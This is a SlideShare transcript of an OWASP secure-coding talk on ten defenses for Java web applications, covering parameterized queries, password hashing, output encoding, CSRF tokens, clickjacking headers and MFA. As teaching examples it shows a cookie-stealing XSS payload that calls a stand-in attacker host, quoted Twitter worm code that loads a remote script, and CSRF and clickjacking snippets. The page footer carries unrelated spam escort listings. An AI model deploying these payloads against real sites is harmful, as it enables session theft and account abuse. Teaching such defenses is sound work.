SlideShare uma empresa Scribd logo
1 de 67
Top Ten Security Defenses
for Java Programmers
Jim Manico
@manicode

OWASP Volunteer
- Global OWASP Board Member
- OWASP Cheat-Sheet Series Project
Manager and Contributor
Independent Secure Coding Instructor
- 16 years of web-based, databasedriven software development and
analysis experience
- Secure coding educator/author
- Writing a book with McGraw-Hill and
Oracle Press because I am a
masochist and enjoy pain and
suffering for less than minimum
wage while being harassed daily by
my editor(s).
Kama'aina Resident of Kauai, Hawaii
- Aloha!
[1]

Query Parameterization
Anatomy of a SQL Injection Attack

newEmail = request('new_email');
update users set email='newEmail'
where id=132005;
Anatomy of a SQL Injection Attack
1. SUPER AWESOME HACK: newEmail =

';

2. update users set email='newEmail'
where id=132005;
3. update users set email='';'
where id=132005;
Query Parameterization in Java
String newName = request.getParameter("newName");
String id = request.getParameter("id");
//SQL
PreparedStatement pstmt = con.prepareStatement("UPDATE
EMPLOYEES SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);
//HQL
Query safeHQLQuery = session.createQuery("from Employees
where id=:empId");
safeHQLQuery.setParameter("empId", id);
[2]

Password Storage

Store password based on need
Use a salt (de-duplication)
SCRYPT/PBKDF2 (slow, performance hit, easy)
HMAC (requires good key storage, tough)
Allow very complex and long passwords

1) Do not limit the type of characters or
length of user password
• Limiting passwords to protect against
injection is doomed to failure
• Use proper encoder and other defenses
described instead
• Set large password length limits
• Django DOS vulnerability
Salt your passwords

2) Use a cryptographically strong
credential-specific salt
protect( [salt] + [password] );
• Use a 32char or 64char salt (actual size
dependent on protection function);
• Do not depend on hiding, splitting, or otherwise
obscuring the salt
Leverage One-Way Keyed Functions

3a) Impose difficult verification on [only]
the attacker (strong/fast)
HMAC-SHA-256( [private key], [salt] + [password] )

• Protect this key as any private key using best
practices
• Store the key outside the credential store
• Isolate password hash generation to a separate
service
Leverage One-Way Adaptive/Slow Functions

3b) Impose difficult verification on the
attacker and defender (weak/slow)
PBKDF2([salt] + [password], c=10,000,000);

• PBKDF2 when FIPS certification or enterprise
support on many platforms is required
• Scrypt where resisting any/all hardware
accelerated attacks is necessary
• Both options will limit your applications ability to
scale
[3]

XSS Defense

<script>window.location=‘http://evi
leviljim.com/unc/data=‘ +
document.cookie;</script>

<script>document.body.innerHTML=‘<b
link>CYBER IS
COOL</blink>’;</script>
Contextual Output Encoding
(XSS Defense)

–Session Hijacking
–Site Defacement
–Network Scanning
–Undermining CSRF Defenses
–Site Redirection/Phishing
–Load of Remotely Hosted Scripts
–Data Theft
–Keystroke Logging
–Attackers using XSS more frequently
XSS Defense by Data Type and Context
Data Type

Context

Defense

String

HTML Body

HTML Entity Encode

String

HTML Attribute

Minimal Attribute Encoding

String

GET Parameter

URL Encoding

String

Untrusted URL

URL Validation, avoid javascript: URLs,
Attribute encoding, safe URL verification

String

CSS

Strict structural validation, CSS Hex
encoding, good design

HTML

HTML Body

HTML Validation (JSoup, AntiSamy, HTML
Sanitizer)

Any

DOM

DOM XSS Cheat Sheet

Untrusted JavaScript

Any

Sandboxing

JSON

Client Parse Time

JSON.parse() or json2.js

Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing,
class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight,
marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan,
scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

• No third party libraries or configuration necessary
• This code was designed for high-availability/highperformance encoding functionality
• Simple drop-in encoding functionality
• Redesigned for performance
• More complete API (uri and uri component
encoding, etc) in some regards.
• Java 1.5+
• Last updated February 3, 2014 (version 1.1.1)
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

HTML Contexts
Encode#forHtmlContent(String)
Encode#forHtmlAttribute(String)
Encode#forHtmlUnquotedAttribute
(String)

XML Contexts
Encode#forXml(String)
Encode#forXmlContent(String)
Encode#forXmlAttribute(String)
Encode#forXmlComment(String)
Encode#forCDATA(String)

CSS Contexts
Encode#forCssString(String)
Encode#forCssUrl(String)
JavaScript Contexts
Encode#forJavaScript(String)
Encode#forJavaScriptAttribute(String)
Encode#forJavaScriptBlock(String)
Encode#forJavaScriptSource(String)

URI/URL contexts
Encode#forUri(String)
Encode#forUriComponent(String)
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

The Problem
Web Page built in Java JSP is vulnerable to XSS

The Solution
1) <input type="text" name="data" value="<%= Encode.forHtmlAttribute(dataValue) %>" />
2) <textarea name="text"><%= Encode.forHtmlContent(textValue) %>" />

3) <button
onclick="alert('<%= Encode.forJavaScriptAttribute(alertMsg) %>');">
click me
</button>
4) <script type="text/javascript">
var msg = "<%= Encode.forJavaScriptBlock(message) %>";
alert(msg);
</script>
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

<script src="/my-server-side-generated-script">
class MyServerSideGeneratedScript extends HttpServlet {
void doGet(blah) {
response.setContentType("text/javascript; charset=UTF-8");
PrintWriter w = response.getWriter(); w.println("function() {");
w.println(" alert('" + Encode.forJavaScriptSource(theTextToAlert) + "');");
w.println("}");
}
}
What is HTML Sanitization
• HTML sanitization takes untrusted markup as input and
outputs “safe” markup
• Different from encoding (URLEncoding,
HTMLEncoding, etc.)
• HTML sanitization is everywhere
• TinyMCE/CKEditor Widgets
• Web forum posts w/markup
• Javascript-based Windows 8 Store apps
• Outlook.com
OWASP HTML Sanitizer Project
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project

• HTML Sanitizer written in Java which lets you include HTML
authored by third-parties in your web application while protecting
against XSS.
• This code was written with security best practices in mind, has an
extensive test suite, and has undergone adversarial security
review https://code.google.com/p/owasp-java-htmlsanitizer/wiki/AttackReviewGroundRules.
• Very easy to use.
• It allows for simple programmatic POSITIVE policy configuration.
No XML config.
• Actively maintained by Mike Samuel from Google's AppSec team!
• This is code from the Caja project that was donated by Google. It
is rather high performance and low memory utilization.
Solving Real World Problems with the OWASP
HTML Sanitizer Project
The Problem
Web Page is vulnerable to XSS because of untrusted HTML

The Solution
PolicyFactory policy = new HtmlPolicyBuilder()
.allowElements("a")
.allowUrlProtocols("https")
.allowAttributes("href").onElements("a")
.requireRelNofollowOnLinks()
.build();
String safeHTML = policy.sanitize(untrustedHTML);
Solving Real World Problems with the OWASP
HTML Sanitizer Project
The Problem
Web Page is vulnerable to XSS because of untrusted HTML

The Solution
PolicyFactory policy = new HtmlPolicyBuilder()
.allowElements("p")
.allowElements(
new ElementPolicy() {
public String apply(String elementName, List<String> attrs) {
attrs.add("class");
attrs.add("header-" + elementName);
return "div";
}
}, "h1", "h2", "h3", "h4", "h5", "h6"))
.build();
String safeHTML = policy.sanitize(untrustedHTML);
[4]

Cross Site Request Forgery Defense

<img src="https://google.com/logo.png">
<img src="https://google.com/deleteMail/7/confirm=true">
<form method="POST" action="https://mybank.com/transfer">
<input type="hidden" name="account" value="23532632"/>
<input type="hidden" name="amount" value="1000"/>
</form>
<script>document.forms[0].submit()</script>
Real World CSRF – Netflix (2008)

<html>
<head>
<script language="JavaScript" type="text/javascript">
function load_image2()
{
var img2 = new Image();
img2.src="http://www.netflix.com/MoveToTop?movieid=70110672
&fromq=true";
}
</script>
</head>
<body>
<img
src="http://www.netflix.com/JSON/AddToQueue?movieid=7011067
2" width="1" height="1" border="0">
<script>setTimeout( 'load_image2()', 2000 );</script>
</body>
</html>
Twitter XSS/CSRF Worm Code (2010)
var content = document.documentElement.innerHTML;
authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);authtoken = authtoken[1];
var xss = urlencode('http://www.stalkdaily.com"></a><script
src="http://mikeyylolz.uuuq.com/x.js"></script><a ');
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update","POST","authenticity_token=" +
authtoken+"&status=" + updateEncode + "&tab=home&update=update");
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+
authtoken+"&user[url]="+xss+"&tab=home&update=update");
Recent CSRF Attacks (2012)
CSRF Tokens and Re-authentication
– Cryptographic Tokens
• Primary and most powerful defense
• XSS Defense Required

– Require users to re-authenticate
Re-authentication
[5]

Cryptographic Storage
AES
AES-ECB
AES-GCM
AES-CBC
unique IV per message
padding
key storage and management
confidentiality!
HMAC your ciphertext
integrity
derive integrity and
confidentiality keys from same
master key with labeling
don’t forget to generate a master
key from a good random source
Solving Real World Crypto Storage Problems
With Google KeyCzar
The Problem
Web Application needs to encrypt and decrypt sensitive data

The Solution
Crypter crypter = new Crypter("/path/to/your/keys");
String ciphertext = crypter.encrypt("Secret message");
String plaintext = crypter.decrypt(ciphertext);
Keyczar is an open source cryptographic toolkit for Java
Designed to make it easier and safer for developers to use cryptography in their applications.
•
•
•
•
•
•

A simple API
Key rotation and versioning
Safe default algorithms, modes, and key lengths
Automated generation of initialization vectors and ciphertext signatures
Java implementation
Inferior Python and C++ support because Java is way cooler
[6]
Anatomy of a
Clickjacking Attack
First, make a tempting site
<style>iframe {width:300px;
height:100px; position:absolute;
top:0; left:0; filter:alpha(opacity=00);
opacity:0.0;}</style><iframe
src="https://mail.google.com">
iframe is invisible, but still clickable!
X-Frame-Options

// to prevent all framing of this content
response.addHeader( "X-FRAME-OPTIONS", "DENY" );

// to allow framing of this content only by this site
response.addHeader( "X-FRAME-OPTIONS", "SAMEORIGIN" );
// to allow framing from a specific domain
response.addHeader( "X-FRAME-OPTIONS", "ALLOW-FROM X" );
Legacy Browser Clickjacking Defense
<style id="antiCJ">body{display:none !important;}</style>
<script type="text/javascript">
if (self === top) {
var antiClickjack = document.getElementByID("antiCJ");
antiClickjack.parentNode.removeChild(antiClickjack)
} else {
top.location = self.location;
}
</script>
[7]

Controlling Access

if ((user.isManager() ||
user.isAdministrator() ||
user.isEditor()) &&

(user.id() != 1132)) {
//execute action
}

How do you change the policy of this code?
Apache SHIRO
http://shiro.apache.org/

• Apache Shiro is a powerful and easy to use Java
security framework.
• Offers developers an intuitive yet comprehensive
solution to authentication, authorization,
cryptography, and session management.
• Built on sound interface-driven design and OO
principles.
• Enables custom behavior.
• Sensible and secure defaults for everything.
Most Coders Hard-Code Roles in Code
if ( user.isRole( "JEDI" ) ||
user.isRole( "PADWAN" ) ||
user.isRole( "SITH_LORD" ) ||
user.isRole( "JEDI_KILLING_CYBORG" )
) {
log.info("You may use a lightsaber ring. Use it wisely.");
} else {
log.info("Lightsaber rings are for schwartz masters.");
}
Solving Real World Access Control Problems
with the Apache Shiro
The Problem
Web Application needs secure access control mechanism

The Solution
if ( currentUser.isPermitted( "lightsaber:wield" ) ) {
log.info("You may use a lightsaber ring. Use it wisely.");
} else {
log.info("Sorry, lightsaber rings are for schwartz masters only.");
}
Solving Real World Access Control Problems
with the Apache Shiro
The Problem
Web Application needs to secure access to a specific object

The Solution
int winnebagoId = request.getInt("winnebago_id");
if ( currentUser.isPermitted( "winnebago:drive:" + winnebagoId) ) {
log.info("You are permitted to 'drive' the 'winnebago’. Here are the keys.");
} else {
log.info("Sorry, you aren't allowed to drive this winnebago!");
}
[8]

App Layer Intrusion Detection

Great detection points:
–Input validation failure server side when client side
validation exists
–Input validation failure server side on non-user
editable parameters such as hidden fields,
checkboxes, radio buttons or select lists
–Forced browsing to common attack entry points
(e.g. /admin/secretlogin.jsp) or honeypot URL (e.g.
a fake path listed in /robots.txt)
App Layer Intrusion Detection
–Blatant SQLi or XSS injection attacks
–Workflow sequence abuse
• multi-sequence form submission in wrong order

–Custom business logic
• basket vs catalogue price mismatch

–OWASP AppSensor
• https://www.owasp.org/index.php/OWASP_AppSensor_Project
[9]

Encryption in Transit (HTTPS/TLS)

Confidentiality, Integrity and Authenticity in Transit
• Authentication credentials and session identifiers must be
encrypted in transit via HTTPS/SSL
• Starting when the login form is rendered until logout is
complete
HTTPS configuration best practice
• https://www.owasp.org/index.php/Transport_Layer_Protectio
n_Cheat_Sheet
HSTS (Strict Transport Security
• http://www.youtube.com/watch?v=zEV3HOuM_Vw
• Strict-Transport-Security: max-age=31536000
Certificate Pinning
• https://www.owasp.org/index.php/Pinning_Cheat_Sheet
Certificate Pinning
What is Pinning
–Pinning is a key continuity scheme
–Detect when an imposter with a fake but CA
validated certificate attempts to act like the real
server
2 Types of pinning
–Carry around a copy of the server’s public key;
–Great if you are distributing a dedicated client-server
application since you know the server’s certificate or
public key in advance
• Note of the server’s public key on first use (Trust-onFirst-Use, Tofu)
–Useful when no a priori knowledge exists, such as
SSH or a Browser
• https://www.owasp.org/index.php/Pinning_Cheat_Shee
t
[10]

Multi Factor Authentication

Google, Facebook, PayPal, Apple, AWS, Dropbox, Twitter
Blizzard's Battle.Net, Valve's Steam, Yahoo
Basic MFA Considerations
• Where do you send the token?
• Email (worst)
• SMS (ok)
• Mobile native app (good)
–Token generator (good)
–Private Key/PUSH notification (awesome)
• Dedicated token (great)
• Printed Tokens (interesting)
• How do you handle unavailable MFA devices?
• Printed back-up codes
• Fallback mechanism (like email)
• Call in center
Forgot Password Secure Design
Require identity questions
Last name, account number, email, DOB
Enforce lockout policy
Ask one or more good security questions
https://www.owasp.org/index.php/Choosing_and_Using_Security
_Questions_Cheat_Sheet

Send the user a randomly generated token via out-of-band
email, SMS or token
Verify code in same web session
Enforce lockout policy
Change password
Enforce password policy
Please steal and plagiarize this presentation!
GET THE WORD OUT
jim@owasp.org
slideshare.net/jimmanico

Mais conteúdo relacionado

Mais procurados

OWASP Top 10 Proactive Controls
OWASP Top 10 Proactive ControlsOWASP Top 10 Proactive Controls
OWASP Top 10 Proactive ControlsKaty Anton
 
OWASP top 10-2013
OWASP top 10-2013OWASP top 10-2013
OWASP top 10-2013tmd800
 
How to avoid top 10 security risks in Java EE applications and how to avoid them
How to avoid top 10 security risks in Java EE applications and how to avoid themHow to avoid top 10 security risks in Java EE applications and how to avoid them
How to avoid top 10 security risks in Java EE applications and how to avoid themMasoud Kalali
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Brian Huff
 
Build A Killer Client For Your REST+JSON API
Build A Killer Client For Your REST+JSON APIBuild A Killer Client For Your REST+JSON API
Build A Killer Client For Your REST+JSON APIStormpath
 
DVWA BruCON Workshop
DVWA BruCON WorkshopDVWA BruCON Workshop
DVWA BruCON Workshoptestuser1223
 
Ten Commandments of Secure Coding
Ten Commandments of Secure CodingTen Commandments of Secure Coding
Ten Commandments of Secure CodingMateusz Olejarka
 
Security in practice with Java EE 6 and GlassFish
Security in practice with Java EE 6 and GlassFishSecurity in practice with Java EE 6 and GlassFish
Security in practice with Java EE 6 and GlassFishMarkus Eisele
 
Dzhengis 93098 ajax - security
Dzhengis 93098   ajax - securityDzhengis 93098   ajax - security
Dzhengis 93098 ajax - securitydzhengo44
 
DVWA(Damn Vulnerabilities Web Application)
DVWA(Damn Vulnerabilities Web Application)DVWA(Damn Vulnerabilities Web Application)
DVWA(Damn Vulnerabilities Web Application)Soham Kansodaria
 
Super simple application security with Apache Shiro
Super simple application security with Apache ShiroSuper simple application security with Apache Shiro
Super simple application security with Apache ShiroMarakana Inc.
 
Deep dive into Java security architecture
Deep dive into Java security architectureDeep dive into Java security architecture
Deep dive into Java security architecturePrabath Siriwardena
 
Beyond OWASP Top 10 - Hack In Paris 2017
Beyond OWASP Top 10 - Hack In Paris 2017Beyond OWASP Top 10 - Hack In Paris 2017
Beyond OWASP Top 10 - Hack In Paris 2017Aaron Hnatiw
 
J2EE Security with Apache SHIRO
J2EE Security with Apache SHIROJ2EE Security with Apache SHIRO
J2EE Security with Apache SHIROCygnet Infotech
 
Building Layers of Defense with Spring Security
Building Layers of Defense with Spring SecurityBuilding Layers of Defense with Spring Security
Building Layers of Defense with Spring SecurityJoris Kuipers
 
Secure code practices
Secure code practicesSecure code practices
Secure code practicesHina Rawal
 

Mais procurados (20)

OWASP Top 10 Proactive Controls
OWASP Top 10 Proactive ControlsOWASP Top 10 Proactive Controls
OWASP Top 10 Proactive Controls
 
OWASP top 10-2013
OWASP top 10-2013OWASP top 10-2013
OWASP top 10-2013
 
How to avoid top 10 security risks in Java EE applications and how to avoid them
How to avoid top 10 security risks in Java EE applications and how to avoid themHow to avoid top 10 security risks in Java EE applications and how to avoid them
How to avoid top 10 security risks in Java EE applications and how to avoid them
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
 
Build A Killer Client For Your REST+JSON API
Build A Killer Client For Your REST+JSON APIBuild A Killer Client For Your REST+JSON API
Build A Killer Client For Your REST+JSON API
 
DVWA BruCON Workshop
DVWA BruCON WorkshopDVWA BruCON Workshop
DVWA BruCON Workshop
 
Ten Commandments of Secure Coding
Ten Commandments of Secure CodingTen Commandments of Secure Coding
Ten Commandments of Secure Coding
 
Web Application Defences
Web Application DefencesWeb Application Defences
Web Application Defences
 
Security in practice with Java EE 6 and GlassFish
Security in practice with Java EE 6 and GlassFishSecurity in practice with Java EE 6 and GlassFish
Security in practice with Java EE 6 and GlassFish
 
Dzhengis 93098 ajax - security
Dzhengis 93098   ajax - securityDzhengis 93098   ajax - security
Dzhengis 93098 ajax - security
 
Spring Security 3
Spring Security 3Spring Security 3
Spring Security 3
 
Java Security Framework's
Java Security Framework'sJava Security Framework's
Java Security Framework's
 
Owasp top 10 2013
Owasp top 10 2013Owasp top 10 2013
Owasp top 10 2013
 
DVWA(Damn Vulnerabilities Web Application)
DVWA(Damn Vulnerabilities Web Application)DVWA(Damn Vulnerabilities Web Application)
DVWA(Damn Vulnerabilities Web Application)
 
Super simple application security with Apache Shiro
Super simple application security with Apache ShiroSuper simple application security with Apache Shiro
Super simple application security with Apache Shiro
 
Deep dive into Java security architecture
Deep dive into Java security architectureDeep dive into Java security architecture
Deep dive into Java security architecture
 
Beyond OWASP Top 10 - Hack In Paris 2017
Beyond OWASP Top 10 - Hack In Paris 2017Beyond OWASP Top 10 - Hack In Paris 2017
Beyond OWASP Top 10 - Hack In Paris 2017
 
J2EE Security with Apache SHIRO
J2EE Security with Apache SHIROJ2EE Security with Apache SHIRO
J2EE Security with Apache SHIRO
 
Building Layers of Defense with Spring Security
Building Layers of Defense with Spring SecurityBuilding Layers of Defense with Spring Security
Building Layers of Defense with Spring Security
 
Secure code practices
Secure code practicesSecure code practices
Secure code practices
 

Semelhante a Top Ten Java Defense for Web Applications v2

OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxcgt38842
 
OWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptxOWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptxnmk42194
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxjohnpragasam1
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxazida3
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxFernandoVizer
 
Application Security around OWASP Top 10
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10Sastry Tumuluri
 
Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730chadtindel
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfGiorgiRcheulishvili
 
20160211 OWASP Charlotte RASP
20160211 OWASP Charlotte RASP20160211 OWASP Charlotte RASP
20160211 OWASP Charlotte RASPchadtindel
 
Alberto Maria Angelo Paro - Isomorphic programming in Scala and WebDevelopmen...
Alberto Maria Angelo Paro - Isomorphic programming in Scala and WebDevelopmen...Alberto Maria Angelo Paro - Isomorphic programming in Scala and WebDevelopmen...
Alberto Maria Angelo Paro - Isomorphic programming in Scala and WebDevelopmen...Codemotion
 
Securing Microservices using Play and Akka HTTP
Securing Microservices using Play and Akka HTTPSecuring Microservices using Play and Akka HTTP
Securing Microservices using Play and Akka HTTPRafal Gancarz
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applicationsDevnology
 
Scala Frustrations
Scala FrustrationsScala Frustrations
Scala Frustrationstakezoe
 
NoSQL - No Security?
NoSQL - No Security?NoSQL - No Security?
NoSQL - No Security?Gavin Holt
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesBrad Hill
 
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...LogeekNightUkraine
 
Scaling asp.net websites to millions of users
Scaling asp.net websites to millions of usersScaling asp.net websites to millions of users
Scaling asp.net websites to millions of usersoazabir
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
Whatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processguest3379bd
 
Frontend Security: Applying Contextual Escaping Automatically, or How to Stop...
Frontend Security: Applying Contextual Escaping Automatically, or How to Stop...Frontend Security: Applying Contextual Escaping Automatically, or How to Stop...
Frontend Security: Applying Contextual Escaping Automatically, or How to Stop...adonatwork
 

Semelhante a Top Ten Java Defense for Web Applications v2 (20)

OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
OWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptxOWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptx
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
Application Security around OWASP Top 10
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10
 
Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
 
20160211 OWASP Charlotte RASP
20160211 OWASP Charlotte RASP20160211 OWASP Charlotte RASP
20160211 OWASP Charlotte RASP
 
Alberto Maria Angelo Paro - Isomorphic programming in Scala and WebDevelopmen...
Alberto Maria Angelo Paro - Isomorphic programming in Scala and WebDevelopmen...Alberto Maria Angelo Paro - Isomorphic programming in Scala and WebDevelopmen...
Alberto Maria Angelo Paro - Isomorphic programming in Scala and WebDevelopmen...
 
Securing Microservices using Play and Akka HTTP
Securing Microservices using Play and Akka HTTPSecuring Microservices using Play and Akka HTTP
Securing Microservices using Play and Akka HTTP
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Scala Frustrations
Scala FrustrationsScala Frustrations
Scala Frustrations
 
NoSQL - No Security?
NoSQL - No Security?NoSQL - No Security?
NoSQL - No Security?
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
 
Scaling asp.net websites to millions of users
Scaling asp.net websites to millions of usersScaling asp.net websites to millions of users
Scaling asp.net websites to millions of users
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Whatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the process
 
Frontend Security: Applying Contextual Escaping Automatically, or How to Stop...
Frontend Security: Applying Contextual Escaping Automatically, or How to Stop...Frontend Security: Applying Contextual Escaping Automatically, or How to Stop...
Frontend Security: Applying Contextual Escaping Automatically, or How to Stop...
 

Último

Advanced Views - Calendar View in Odoo 17
Advanced Views - Calendar View in Odoo 17Advanced Views - Calendar View in Odoo 17
Advanced Views - Calendar View in Odoo 17Celine George
 
9548086042 for call girls in Indira Nagar with room service
9548086042  for call girls in Indira Nagar  with room service9548086042  for call girls in Indira Nagar  with room service
9548086042 for call girls in Indira Nagar with room servicediscovermytutordmt
 
APM Welcome, APM North West Network Conference, Synergies Across Sectors
APM Welcome, APM North West Network Conference, Synergies Across SectorsAPM Welcome, APM North West Network Conference, Synergies Across Sectors
APM Welcome, APM North West Network Conference, Synergies Across SectorsAssociation for Project Management
 
fourth grading exam for kindergarten in writing
fourth grading exam for kindergarten in writingfourth grading exam for kindergarten in writing
fourth grading exam for kindergarten in writingTeacherCyreneCayanan
 
Paris 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activityParis 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activityGeoBlogs
 
Call Girls in Dwarka Mor Delhi Contact Us 9654467111
Call Girls in Dwarka Mor Delhi Contact Us 9654467111Call Girls in Dwarka Mor Delhi Contact Us 9654467111
Call Girls in Dwarka Mor Delhi Contact Us 9654467111Sapana Sha
 
Sanyam Choudhary Chemistry practical.pdf
Sanyam Choudhary Chemistry practical.pdfSanyam Choudhary Chemistry practical.pdf
Sanyam Choudhary Chemistry practical.pdfsanyamsingh5019
 
1029-Danh muc Sach Giao Khoa khoi 6.pdf
1029-Danh muc Sach Giao Khoa khoi  6.pdf1029-Danh muc Sach Giao Khoa khoi  6.pdf
1029-Danh muc Sach Giao Khoa khoi 6.pdfQucHHunhnh
 
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in DelhiRussian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhi
Russian Escort Service in Delhi 11k Hotel Foreigner Russian Call Girls in Delhikauryashika82
 
General AI for Medical Educators April 2024
General AI for Medical Educators April 2024General AI for Medical Educators April 2024
General AI for Medical Educators April 2024Janet Corral
 
Software Engineering Methodologies (overview)
Software Engineering Methodologies (overview)Software Engineering Methodologies (overview)
Software Engineering Methodologies (overview)eniolaolutunde
 
Grant Readiness 101 TechSoup and Remy Consulting
Grant Readiness 101 TechSoup and Remy ConsultingGrant Readiness 101 TechSoup and Remy Consulting
Grant Readiness 101 TechSoup and Remy ConsultingTechSoup
 
Arihant handbook biology for class 11 .pdf
Arihant handbook biology for class 11 .pdfArihant handbook biology for class 11 .pdf
Arihant handbook biology for class 11 .pdfchloefrazer622
 
IGNOU MSCCFT and PGDCFT Exam Question Pattern: MCFT003 Counselling and Family...
IGNOU MSCCFT and PGDCFT Exam Question Pattern: MCFT003 Counselling and Family...IGNOU MSCCFT and PGDCFT Exam Question Pattern: MCFT003 Counselling and Family...
IGNOU MSCCFT and PGDCFT Exam Question Pattern: MCFT003 Counselling and Family...PsychoTech Services
 
Class 11th Physics NEET formula sheet pdf
Class 11th Physics NEET formula sheet pdfClass 11th Physics NEET formula sheet pdf
Class 11th Physics NEET formula sheet pdfAyushMahapatra5
 
Ecosystem Interactions Class Discussion Presentation in Blue Green Lined Styl...
Ecosystem Interactions Class Discussion Presentation in Blue Green Lined Styl...Ecosystem Interactions Class Discussion Presentation in Blue Green Lined Styl...
